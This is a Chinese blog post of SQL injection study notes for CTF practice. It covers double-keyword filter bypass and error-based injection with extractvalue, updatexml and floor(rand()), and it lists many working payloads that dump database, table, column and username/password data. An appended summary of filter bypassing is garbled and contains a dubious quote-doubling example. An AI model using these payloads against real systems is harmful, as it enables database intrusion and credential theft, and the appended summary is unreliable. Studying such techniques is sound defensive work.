SQL注入学习笔记(二)

1.双写绕过

根据报错信息确认哪些关键词被过滤,双写该关键词通过拼接字符防止被过滤。如’or‘被过滤,则可双写为’oorr‘。

需要注意的点是当’or‘被过滤时,那么’information‘,’order‘,’password‘此类关键词中间含’or‘的极大可能也无法正常使用,因此应双写为’infoorrmation‘,’oorrder‘,’passwoorrd‘。

其关键思想在于替换关键词,只要把传入的内容经过一次替换,变成正常的payload就行,如’infoselectrmation‘。

2.后端代码猜测之‘或’结构

若数字回显字母不回显,说明有一个‘或’结构,而且不直接回显flag,但作为一道题目,from一定是from flag。
所以猜测后端:

select $_POST['query'] || flag from flag

那么输入*,1即可直接回显flag。即

select *,1 || flag from flag

select *,1 from flag

为什么这样可以直接查询到flag我没太看懂,遂决定死记硬背,有大佬的话可以在评论区解释一下。

3.报错注入

原理在于故意构造可报错语句,让错误信息中夹杂可以显示数据库内容的查询语句,从而返回报错提示,内含数据库中的内容。

(1)通过extractValue()报错注入

函数extractValue() 包含两个参数,第一个参数为XML文档对象类型 , 第二个参数为路径,且对路径格式敏感。若为

> select extractvalue(doc,'/book/author/surname') from xml;

则不会报错;

若故意写错路径格式,写为

> select extractvalue(doc,'~/book/author/surname') from xml;

则会报错并显示查询到的信息。

利用此特性进行SQL报错注入:

爆数据库名

1' union select 1,2,extractvalue(1,concat(~,(select database())))

爆表名

1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))

爆列名

1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())))

爆flag

1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))

若数据太长无法完整显示,使用函数substring()

1' union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30) from users)))

注意关键词或空格是否被过滤,若过滤可替换,以下函数同理,如

1’ and 1=extractvalue(1,concat(0x7e,(select database())))
1’or(updatexml(1,concat(0x7e,database(),0x7e),1))
1’or(updatexml(1,concat(~,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),0x7e),1))

注意左括号右括号个数。

(2)通过updatexml()报错注入

函数updatexml(XML_document,XPath_string,new_value) 包含三个参数,同样错写路径实现报错注入。

爆数据库名

1' and 1=updatexml(1,concat('~',(select database())),3)

爆表名

1' and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

爆列名

1' and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),3)

爆flag

1' and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,30) from users)),3)

 (3)通过floor()报错注入

这个相比前两个会稍微难理解一点。

此方法的报错注入由count() 、group by 、floor()、rand()四个函数一起完成,其中,

rand()用来取随机数,floor()用来向下取整,通过floor(rand(0)*2)将结果确定为0和1两种确定的结果,同时,由于确认了随机种子0,那么每次用floor(rand(0)*2)产生的随机序列都是一致的,都是011011的顺序。

group by主要用来对数据进行分组(相同的分为一组),比如group by sex的意思就是根据性别分类,性别相同的为一组。

count()统计结果的记录数,与group by结合,意为统计各组数量,比如

count(*) x from users group by sex

 意为根据性别将用户分为男的和女的,并记录男的有多少人,女的有多少人。

那么报错是怎么来的呢?

当count() 、group by 、floor()、rand()四个函数加在一起使用就会出现神奇的反应,开始报错,报错类型为Duplicate entry,意为键值重复。

为什么呢?

其实我觉得关键问题出在group by身上,因为呢,group by它有一个特性,在按顺序根据键值分类时,若该键值已存在临时表中的话,那么就直接把该用户放到该键值对应的分组里,

如果还没这个键值的组的话,是不是要新起一组,这个时候这个特性就来了,当新起一组的时候,group by会和rand()发生奇妙的化学反应,当存在rand()的时候,group by在新起一组时,会重新执行一次rand(),

那么可以想象得到,此时rand()的结果可就不一定了,就有可能和已有组的键值冲突。

举个例子,我们以随机序列010为例,0表示女,1表示男,现在开始用group by sex分组,分为0组和1组,

第一个值0,新起一条(同时也是第一条),因为是新起的,所以在存入的时候重新执行一次rand(),假设结果为1,则存入1组,

第二个值1,等于第一条的键值1,所以直接存入第一条1组,目前临时表中还是只有一个条目,即1组,

第三个值0,不等于第一条的键值1,所以新起一条,重新执行rand(),假设结果为1,等于第一条的键值1,于是又多了一个1组,也就是此时将该三个用户分为了男组和男组,这就是发生了键值冲突。

但主键键值必须唯一,所以就产生了Duplicate entry 的报错。

完整的报错为Duplicate entry '1' for key 'sex'。

那么为了利用该报错信息,就可以将查询语句和floor(rand(0)*2)连接起来,比如

concat_ws('~',(select database()),floor(rand(0)*2))

那么此时报错信息就为Duplicate entry 'database()~1' for key 'sex',就可以显示我们想查询的数据库名了。

爆数据库

1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a

 爆表名

1' union select 1,count(*),concat_ws('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2)) as a from information_schema.tables group by a

 爆列名

1' union select 1,count(*),concat_ws('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2)) as a from information_schema.tables group by a

爆flag

1' union select 1,count(*),concat_ws('~',(select concat('~',username,password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a
SQL注入绕过是一种SQL注入攻击的技术手段,用于绕过一些简单的防御机制。其原理如下: 1. SQL注入简介:SQL注入是一种常见的安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码,从而执行非法的数据库操作。这些恶意代码可以修改、删除或者泄露数据库中的数据。 2. 绕过原理:在一些情况下,开发人员会对用户输入进行简单的过滤,例如替换特殊字符或者转义字符。然而,攻击者可以利用这种过滤机制中的漏洞,通过绕过绕过过滤。 - :攻击者可以利用某些字符的特性,在输入中使用两个相同的字符来绕过过滤。例如,如果过滤机制将单引号(')替换为两个单引号(''),那么攻击者可以在输入中使用两个单引号来绕过过滤。 - 绕过:通过使用绕过过滤,攻击者可以成功地插入恶意的SQL代码,从而执行非法的数据库操作。 3. 示例:假设有一个登录页面,用户需要输入用户名和密码进行登录。开发人员对用户输入进行了简单的过滤,将单引号替换为两个单引号。攻击者可以利用绕过绕过这个过滤机制。 - 原始查询:SELECT * FROM users WHERE username = 'admin' AND password = 'password' - 过滤后的查询:SELECT * FROM users WHERE username = 'admin'' AND password = 'password' 攻击者可以在用户名输入框中输入 `' OR '1'='1`,这样在拼接SQL语句时,会变成: SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'password' 这样,攻击者成功绕过了过滤机制,并且可以登录到管理员账户。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值